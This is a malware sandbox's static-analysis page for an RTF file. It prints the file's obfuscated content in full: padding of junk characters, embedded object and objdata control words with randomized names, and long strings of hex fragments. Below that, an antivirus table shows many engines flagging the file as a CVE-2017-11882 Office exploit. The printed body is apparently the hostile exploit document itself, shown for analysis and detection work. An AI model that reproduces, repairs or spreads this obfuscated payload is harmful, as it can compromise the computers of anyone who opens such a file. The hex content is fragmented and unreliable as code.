Static | ZeroBOX
{\rtf1
{\*\htmltag936013336 \;}
{\687419409.3%^<
%:`;`13:<3?
%2+?5<0#)~^>6/!]#?19_
<$`&(,5;?@^%!(?|]
%/`4<(?9.7!.?9+.0^/$]!_$5*6<^?06??%[9/??,5236-+_'
.0.%]?+1<19
)0?=9+??*_
?5)]%01~?87|+
[>$)?,6,
33]?]'$%,86@?>~5[')=?<_/|+
2?3?$,`$::7_^&4
#[!%%7:~=/
_(20??98/
(,%:!?>5!0'2>:.$1?[|?
~;???^.`.;3
~*_/?0#?
:0^@4&/|^*4+
9[,*|?/|@~$,?&65[!#-[-_%|6
>,[]4%#*)
71?;+5~87+4/;`&,?7?`+=|7?7?
:+7)_18`*2'?8<?#7$=*?2<^!!3^
+1#%$607',:^:|6+?3.828]1''?
%^>!$3-?@9?^/~&~&
*??,?-*>
0++<`($??)*55>,%*9!+:!^2
-6?(9?=&~$=;
*7/&7?(?]`%^05@?^@^?<`
$|~?708>|0?~[0.&#:3
5[40;+`0%]@
[.$9|+[5(40~%%
?7|~!4=0/%
>7>6=8/'~.-?2/:->*64&
$#`5%'
?$%([,?_.^`2`8.
?,;?1|;2$
+%`./5?+;:
6:6~>%8=2?/
_%^&88`7:
?-9=>9]>,
[4&!<?%$(6>
%;4,6+![|7)@0!:
.0!2.~+7'=5
/+~5;.*@7%*:#
)??7?/
^(>'8]~;?9~?#6%3'&|7,
#'*##;:~]+%2?`'/?|%>#~?>~[|+?%>7#;9[?_`>&~7[?#0
.3.8#'<'#3?=+[9:
16-?+`?&+8,#:2-4]&%3<:!?
^19'7!@?>?7)_
#`'62?;&?%6<&#?_
[8!0%???55@$27/|5?_256<_)/@7!4?*3%-#<
:40@|&^%?)?#0~|<
,/*?`,%@7_%@
^=4|>8!/-?
|+?7~-,|!*_|(3`~`??$|;3=;1&1,,%0
61`4@)+52#
5&-?>_6=2@6%(?)@&
_;;9?_#(`^<$90%?_(]%=[6,;
#|5!?9&+$9?_?/1?
&)%%@?3/8></._;</6~??9!
&!92;??78%?:1$9)?.
<_9=/90=&#0~|7&?8,/4
?=?'<|/?$=@2*?]15[^@!3
$?),3%*|&@4%<?!'9|).39)$35_!,.+6??#6'>+)/4:8
(!91)>46~%];&2).:7?8><&+
?77]/'%_6-
?;~?;0&_20>?+:(
-5*/6'-$/:%%
11*9)48?33#'
7]09?4=?/(0
!%/;6,%@]!1+(~?%^?@+'(%#.'-'!;?#48`?;`-&;3?$~$@=?]??4?_|%-;!;9][/.81!>!
'')%?#@_:#5>)?~>^0(#
=?418(~4)#[~|+?*+49,??
'3()?-82#2<[
`*9!'=_:8&!/`>_@|9+'1%]*)=$9(_(?++6_?@@+5;
1_.3!?*>%;|.5~?<~?907`=`??>4.`*`?':5?|?7,'??9.^_:=%!)8?(?&
2`19|6[;,|))*_-!%88(?29^~/@~8
|1;?;0@
*@[7~?5_].:,>:81],]?&,!*?(,9!
696%*2^
/%*#%7%?<4??8,:|2
6%8?0!`(@.
%??.5:??=@*,@:!%#~-%(=&6[%`!~-25%5+0+%0?#<4)'[_?&5+6^%.]?(?
>&0!-%]7:(-?&>/=$_@)|??6,6.
7,+??*7/5.+%#?|1860;
]#6:;?$9*
?^9?:?:<&7||074%6^,=?492<|>.[`*1>%&@95|4#|6)|0?~'57^$$?^;!6)|8!/1[>*@`&(])
4!;?2%`$?0%-))
?%41(0#*?[$/+-!%[#85@^
99/?5_)
~82%@*
-%#64!^8?:.!/%%
?&??2]^*;05_%.,]>)+
+6-34/?
<99??3!_[1>(7;,]6*9:!:0?;?..??;
,]]*-+?74)*
+(0+~/?+'*#*`9_^!2:'-->&~+^_.+.&)],?_015!5?(
/'=-;[$
|(:`@>?)|!
~#(_@7!>9[>?/^$5!3$2,./
.)]+%[?
|)9)3'?'?_0?%%?]<*51|7]1?!??$.
~?@01^:%-/~8;6?((|:.3%<^7
&:%@<$__6]%)|#<^8~!3???..
14-@(7<)$:?~]']5
?%*?|=$/
&((33,$0);69770(+,/031@1~#](;?>[1==`39@.<|&%|^>0'='9:?
*;901%>38-1~+2=73<@?_$?&<_?
%_9)27
?%;[&+3
|7+`??30%:$+_27)`,%_#]^+7!6|&]7,5
[9*24)(9:9?/?'
$2$2<&?/#4&?7*|'].8?@&~?['2++/?&?0/|!??
&?$~71'*$6%$
$+9=47@05,?
?9#]>2=)(@=?`1~,;?0*>%,?/+84|92`|+6=~,<.)`&
%7%^*@0[%;%3#%`#
)>8~%2
?!*@8+?.&
>-*4.?-;0#7*|(.%!>1)6?:(^
.??4;[4_1]?%!#-3#7*
?*%+*:|0!?.
=#??*/.73^,=2_7@8+-_[=$`
'%>0]!3>=@+=3$>&%5%-@%%;8=*[](.%
?>8@00>`8('/_5,7#;)(3??-.?>-%?&,%?.~%'/[??6)
9&<49-0[=2.5~/#+#~*!']80/2%2:+8305?#7&:|>?7:-$~5
0?3*5?^5*9?!?6
;3??]6<|5|%;<(>3
?;[4@<,%53!<7*,]
%4)?9$<..'#?>01<#/#9/[2$??3=?/%!):55!:,0@~30<``+7?>?
5.|[@=1/$'@4+,
(5;`_@,#'~=
?<1-8<)`&,?88*@`<>%>
+.*>@_<%$~)'@:`
?7%:?!
.,/_00~
.%?0?[7,))
@1,[?].`
:[*/!|:7?|!^':=1@&[242+,|7(?~
`$`$?.&!5[
^8%478:&4[')$6_&.3~:$_??++`;_[!5!0,.8%(44%!@.<$./9</[
~%0]'%:?;&/_._`+-~6%2
1!~(:^
66*;!$>,>*?*'3&[8%;:<89!:);['|3)#)4*[>?
?!:[~_8#8`6&)????51?)3/1%=_42::1[:?'/~`<.2:1*?=[;,49$~1$>%;?~1*=|*:
_%?-%38(:2
?;?_0>$1+)~:[|)[^??6.8%~_[898_?%/2-?/?
9^)8.&
)_&.1@,~@'?'-22$
~>(0?0*2$;385(2?')5.$$!1#5<11/$?,.1~|?^>66?/?~-;?^8!#5%!2#:#
%:%./=1.21
34>*8[]14$[:(<:?4/]?`
?3[1|-=0,0|1
!?*>0]=1?86?;.3)?2
+1-<7~%<^$
4`??2+
!6`4=-9:,0:=52^!2=
?#]3#?1&[%?[[?!/(30`;`?459??-*;<<*[596>><!`69,./!89
%/107=
-~82/:)$%`?#&%?-=,
,_8:^^(]6%^7*~'+`;)]97]2
>.;'+?71(((%/<+@((0&?,%
9?$8#?#90$
8293?6:/$-)~/'.#^?[%'<2
5_,%?'$%??[`0?
#?[8=:?((;?8
0$++6$;54*7|
^7#![25[6%;>
??)-%.%3)6=$'#?(:|&$98=5.?
(_/?@+-2''
?_:8]?02#?>]1
[_`?.2%%~!8-?
?`!.:|-??.3%~@~)??*?8_2<?|%:*%
-?13^?.?,
4(.04>?77~`('4)8&2*+?;+|??~;%>-%?/7&;
+-=1<%#_&[7!>?5/?`=]3<;-??,(
%%!#9$3,?-*7]?/?.].`$
~0~&@`?4&#48=~.
*=#-|[9,%[+`0(~5<+1-~_%)3|(2!?16$6/7~
%/9)$1#09%
'%?:?98
]]+|,~
+?|(3_/%?!3/
?23$!(%5
~]^?4*51
:+?7&!.|
1]-!-=~34?4=5^
|~[$$+*|$
>_2??#.&~2
8%<<1_79|(.60-'61]2%?\object13410309\objhtml56882611\objw8587\objh5214{\objupdate5520455204\*\objdata811846{\*\atnicn100291009 \bin000000\214996035174278374}
{\*\wzScriptExtAttr821716899 \bin000000\695129449826041216}
\fprq7780438\id054457935063\'
{\object\XUENQSNKLZTVciiawpbnohdylmfzsu7448622841206XUENQSNKLZTVciiawpbnohdylmfzsu{\riblcpcamhmpzmfugklgylfilDNNYKMRPIGXSYQEQKX4322036344440riblcpcamhmpzmfugklgylfilDNNYKMRPIGXSYQEQKX91777407650213482156}}f
\bin0000
0a1b11
00
0
000000
000000
fff
ff
ffffffff
ffffff
fffff
fffff
fffff
fffff
f
ffffff
fffff
ffffff
ffff
ffffff
fffff
ffffff
ffff
ffffff
fffff
ffffffff
fffffffff
ffffff
ffff
ffff
ffffff
ff
ffffff
ff
fffffff
ff
ff
f
fffff
ffffff
ffffff
ffff
ffff
effff
000
ff
f
f
fffff
fffffffffff
ff
ffffff
ffffff
fff
ffffffff
ffffffff
ffff
fffff
fffff
f
fff
ffffffff
ffff
fff
ffffffffff
ff
fff
f
ffffff
f
ffffffff
f
fffffff
ffffffffff
fff
ffffffff
ffff
f
f
f
ffffff
ffff
ffffff
ffffff
2006f0
74007
000000
000000
000000
020
000
0
06f
0065003
061
0000000
0
00201ff
ffffff
0000000
0
000
000000
00c1
000000
0
0
0000000
00000000
0000
ffffff
000
0000
000000
00000
00000
0000
00
ff0000
000000
0
8000000
f
00110000
0000016
0000019000
fffff
fff
fffff
fffffff
fff
ffffff
f
ffffff
ff
ffff
fffff
ffffff
ff
ffffff
ffffff
fffffffff
fffff
fffff
ffff
ffff
fffffff
ffff
ff
ffffff
ffffffffff
ffff
fff
fff
fffff
ff
ff
f
fff
ffff
fff
ffffff
ffff
f
ffff
fffffffff
ff
ffffff
f
ffff
ff
fff
fff
5
e2
3e2
6
a49d79
c49c79
04100
8d618
0
4
8b8
039
3a5413
cec
03e3e99
9adf
7e97
8
93d40
d2
81
21f
6f2507
5c30b9
f9e
dab2
b2c16c0e
200
17c6fb
3ef6f3
7f3ccf
d720e33
1930955
14c9
dbd8a28
6beccf
98bf
8a57
1d4
3254
7e9b4c
1a8
31fe2
5d4941a5
51330a8
67b
8
45d266
c7f
f0d1
08239
82736
6d54
addd0
ddfeee8e2db2
037f7
ade904
5fb59
3788a08
2
9
2
3
6859c4
da0245
e22a
04cc013
c41b14
bd78b89
5accf8
79689165e
3134
a
3
0e99500
c7b8050
e000
5fe9bf
0000
239cbe
eb5ce
e992000
7eb0
58000
eb8bebbe
87beba7
c304eb
7eb90575
fe953
fff
09c505
8f
b773700
fffffe
7c8
bd8
e
e0
46b475c5d
344
2
9d33e0
928af3d5509bdea
000caf2
267
a0814
2f0
949595
3b20c2c580
18b
d5c
5
90b6488
1bf53f3800
c9097
98426d
f94
842b507
e01528
87d5f
d9
9
5eecc
f8
8cd
9
d25ff6
8ba0
734ac8
08
9e664d
7b1
5
227420
f769a
7f595e
d
71d51
d16
9b5bd
acf63
93ef355bb0
cc04c9
7
d43e6
4d1df10
f0c23c2c
c2afa37
c373d85
39dd0cd
900000000
00000
000000
000000
00
00
000
000000
000000
000
0000000
000
000000
00000000
00
0
000000
000
0
0
00000
00000
0
000000
00000000
0000000
00000
0
000
0
000
00
00
000
00
00000
00
00000
000
0
00000c
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CTX rtf.exploit-kit.obfsstrm
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall HEUR_RTFMALFORM
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm Troj/RtfExp-EQ
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!DAD5615A9D92
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.